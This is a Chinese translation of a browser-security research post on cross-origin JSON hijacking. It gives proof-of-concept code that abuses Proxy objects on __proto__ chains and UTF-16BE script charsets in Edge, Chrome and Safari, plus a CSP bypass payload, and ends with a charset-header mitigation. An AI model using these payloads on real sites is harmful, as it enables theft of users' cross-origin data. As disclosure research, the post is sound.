原文鏈接:JSON hijacking for the modern web

原作者:Gareth Heyes

譯:Holic (知道創宇404安全實驗室)

Benjamin Dumke-von der Ehe 發現了一種有趣的跨域竊取數據的方法。使用JS 代理,他能夠創建一個 handler,可以竊取未定義的 JavaScript 變量。這個問題在 FireFox 瀏覽器中似乎被修復了,但是我發現了一種對 Edge 進行攻擊的新方式。雖然 Edge 好像是阻止了分配 window.__proto__ 的行為,但他們忘了 Object.setPrototypeOf 這個方法。利用這個方法,我們可以使用代理過的 __proto__ 來覆蓋 __proto__ 屬性。就像這樣:

<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
 has:function(target,name){
  alert(name);
 }
}));
</script>
<script src="external-script-with-undefined-variable"></script>
<!-- script contains: stealme --> 

Edge PoC stealing undefined variable

如果你在跨域腳本中包含 stealme,你將會看到瀏覽器彈出了該值的警告,即它是一個未定義的變量。

經過進一步的測試,我發現通過覆蓋__proto __.__ proto__可以實現相同的效果,在 Edge 瀏覽器上對應的是 [object EventTargetPrototype] 。

<script>
__proto__.__proto__=new Proxy(__proto__,{
 has:function(target,name){
  alert(name);
 }
});
</script>
<script src="external-script-with-undefined-variable"></script>

Edge PoC stealing undefined variable method 2

很好,我們已經能跨域竊取數據了,但我們還能做什么呢?所有主流瀏覽器都支持腳本的 charset 屬性。而我發現 UTF-16BE 字符集尤其有意思。UTF-16BE 是一個多字節編碼的字符集,那么實際上是兩個字節組成了一個字符。例如你的腳本以 [" 開頭,它將被認為是 0x5b22 而不是 0x5b 0x22。而 0x5b22 恰好是一個有效的 JavaScript 變量 =) 你能看懂這是怎么回事嗎?

假設我們有一個來自 Web 服務器的響應,返回一個數組文本,我們便可以控制它的一部分。我們可以使用 UTF-16BE 字符集使數組文本成為未定義的 JavaScript 變量,并使用上面的技術竊取到它。唯一要注意的是,組成的字符必須形成一個有效的 JavaScript 變量。

例如,讓我們看看以下響應:

["supersecret","input here"]

為了竊取到 supersecret,我們需要注入一個空字符,后面帶著兩個 a's ,出于某些原因,Edge 不會將其視為 UTF-16BE,除非它具有這些注入的字符。或許它在進行一些字符編碼的掃描,亦或是截斷響應和 NULL 后面的字符在 Edge 上不是一個有效的 JS 變量。這點我不確定,但是在我的測試中,似乎需要一個 NULL 與其他一些填充字符。參見下面的例子:

<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
    has:function(target,name){
        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

Edge PoC stealing JSON feeds

所以我們像以前一樣代理 __proto__ 屬性,使用 UTF-16BE 編碼包含此腳本,而且響應的字符文本中包含了一個 NULL,后面跟著兩個 a's。然后我解碼了移八位編碼的 UTF-16BE ,獲得第一個字節;并且通過按位“與”操作獲得了第二個字節。結果是一個警告的彈出窗口, ["supersecret","。如你所見,Edge 似乎在 NULL 后截斷了響應。請注意這種攻擊是相當受限的,因為許多字符組合不會產生有效的 JavaScript 變量。然而,竊取少量數據可能是有用的。

在 Chrome 中竊取 JSON 推送

情況變得更糟了。Chrome 更加開放,有更多的異域字符編碼。你不需要控制任何響應,Chrome 就可以使用該字符編碼。唯一的要求便是之前所述,組合在一起的字符產生了一個有效的 JavaScript 變量。為了利用這個“特征”,我們需要另一個未定義的變量泄漏。一眼看上去 Chrome 似乎阻止了覆蓋 __proto__ 的行為,但是它卻忘記了 __proto__ 的深度。

<script> 
__proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
    has:function f(target,name){
        var str = f.caller.toString();
        alert(str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
});
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","abc"] -->

注意: 這一點已經在 Chrome 54 版本被修復

Chrome PoC stealing JSON feeds works in version 53

我們在 __proto__ 鏈中深入 5 層,并用我們的代理覆蓋它,接下來的事情就很有意思了。盡管命名參數不包含我們未定義的變量,但是函數的調用者是包含的!它返回了一個帶有我們變量名的函數!顯然它用 UTF-16BE 編碼了,看起來像是這樣子的:

function 嬢獵灥牳散牥琢?慢撟崊

Waaahat? 那么我們的變量是在調用者中泄漏了。你必須調用函數的 toString 方法來訪問數據,否則 Chrome 會拋出一個通用訪問的異常。我試著通過檢查函數的構造函數,以查看是否返回了一個不同的域(也許是 Chrome 擴展程序上下文),從而進一步利用漏洞。當 adblock 被啟用時,我看到了一些使用這種方法的擴展程序代碼,但無法利用它因為它似乎只是將代碼注入到當前的 document。

在我的測試中,我也能夠包含 xml 或者 HTML 跨域數據,甚至是 text/html 內容類型,這就成為一個相當嚴重的信息泄漏漏洞。而此漏洞已經在 Chrome 中被修復。

在 Safari 中竊取 JSON 推送

我們也很輕松地可以在最新版的 Safari 中實現同樣的事情。我們僅需要少使用一個 proto ,并且從代理中使用 “name” 而不是調用者。

<script>
__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
        has:function f(target,name){
            alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
        }
});
</script>

Safari PoC stealing JSON feeds

經過進一步測試,我發現 Safari 和 Edge 一樣受相同漏洞的影響,只需要__proto__.__proto__

Hacking JSON feeds without JS proxies

我之前提到每個主流瀏覽器基本都支持 UTF-16BE 字符編碼,可你要如何在沒有 JS 代理的情況下黑掉 JSON feeds呢?首先,你需要控制一些數據,而且必須用生成有效 JavaScript 變量的方式來構造 feed。在注入數據之前,獲取 JSON 推送的第一部分非常簡單,你所需要做的就是輸出一個 UTF-16BE 編碼字符串,該字符串將非 ASCII 變量分批給特定的值,然后循環遍歷該窗口并檢查該值的存在,那么屬性將包含注入之前的所有 JSON feed。代碼如下所示:

=1337;for(i in window)if(window[i]===1337)alert(i)

這段代碼被編碼為 UTF-16BE 字符串,所以我們實際上得到的是代碼而不是非 ASCII 變量。實際上就是說,用 NULL 填充每個字符。要獲得注入字符串后的字符,我僅需使用增量運算符,并在窗口的屬性之后制作編碼后的字符串。繼續往下看。

setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i);}))}catch(e){}}});++window.a

我將它包裝在一個try catch 中,因為在 IE 上 ,當檢查 isNaN 時 window.external 將會拋出一個異常。整個 JSON feed 如下所示:

{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.", "UTF-16BE")?>a":"dasfdasdf"}

Hacking JSON feeds without proxies PoC

繞過 CSP

你可能已經注意到,UTF-16BE 轉換的字符串也會將新行轉換為非 ASCII 變量,這使它甚至有可能繞過 CSP!該 HTML 文檔將被視為 JavaScript 變量。我要做的就是注入一個帶有 UTF-16BE 字符集的腳本,注入至其自身,使其具有編碼過的賦值和帶有尾部注釋的 payload。這將繞過 CSP 策略,該策略只允許引用同一域下的腳本(主流策略)。

HTML 文檔將形似以下內容:

<!doctype HTML><html>
<head>
<title>Test</title>
<?php
echo $_GET['x'];
?>
</head>
<body>
</body>
</html>

注意在 doctype 之后沒有新行,HTML 是以這樣一種方式構造的,即它是有效的 JavaScript,注入后面的字符無關緊要,因為我們注入了一行注釋,而且新行也會被轉換。注意,在文檔中沒有聲明字符編碼的聲明,并不是因為字符集很重要,因為元素的引號和屬性將破壞 JavaScript。payload 看起來像是這樣(注意為了構造有效變量,一個選項卡是必要的)。

<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>

請注意:這在更高版本的 PHP 中已經被修復了這一點,為了防止攻擊,它默認被設成 UTF-8 字符編碼的 text/html 內容類型。但是,我只是添加了空白字符編碼到 JSON 響應,所有現在仍處于實驗室階段。

CSP bypass using UTF-16BE PoC

其他編碼

我 fuzz 了每個瀏覽器和字符編碼。對 Edge 進行 fuzz 沒什么用,主要是由于前面提到過的字符集嗅探,如果你在文檔中沒有使用確定的字符,他就不會使用字符編碼。Chrome 則對此非常寬松,因為開發者工具讓你通過正則過濾控制臺的結果。我發現 ucs-2 編碼允許你導入 XML 數據作為一個 JS 變量,但是它甚至比 UTF-16BE 更脆弱。我仍然設法在獲得了以下的 XML,以便在 Chrome 上正確導入。

<root><firstname>Gareth</firstname><surname>a<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i);setTimeout(function(){for(i in window)if(isNaN(window[i]) && typeof window[i]===/number/.source)alert(i);});++window..", "iso-10646-ucs-2")?></surname></root>

以上內容在 Chrome 中已經不再有效,但可以當做另一個例子

UTF-16 和 UTF-16LE 看起來也很有用,因為腳本的輸出看起來像是一個 JavaScript 變量,但是當包含 doctype,XML 或 JSON 字符串時,它們引起了一些無效的語法錯誤。Safari 有一些有趣的結果,但在我的測試中,我不能用它生成有相當 JavaScript。這可能值得進一步探索,,但它將很難 fuzz,因為你需要編碼字符,以產生一個有效的測試用例。我相信瀏覽器廠商能夠更有效地做到這一點。

CSS

你可能認為這種技術可以應用于 CSS,在理論上是可以的,因為任何 HTML 將被轉換為非 ASCII 的無效 CSS 選擇器。但實際上,瀏覽器似乎會在帶著編碼解析 CSS 之前,查看文檔是否有 doctype 頭并忽略樣式表,這樣的話注入樣式表便失敗了。Edge,Firefox 和 IE 在標準模式下似乎也會檢查 mime 類型,Chrome 說樣式表被解析了,但至少在我的測試中并不會這樣。

解決方案

可以通過在 HTTP content type 頭中聲明你的字符編碼(例如 UTF-8)來防止字符編碼工具。PHP 5.6 還通過聲明 UTF-8 編碼來防止這些攻擊,如果沒有的話,就在 content-type 頭中設置。

總結

Edge,Safari 和 Chrome 包含的錯誤讓你可以跨域讀取未聲明的變量。你可以使用不同的編碼繞過 CSP 繞過并竊取腳本數據。即使沒有代理,如果可以控制一些 JSON 響應的話,你也可以竊取數據。

Enjoy - @garethheyes

附: 演示視頻


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/130/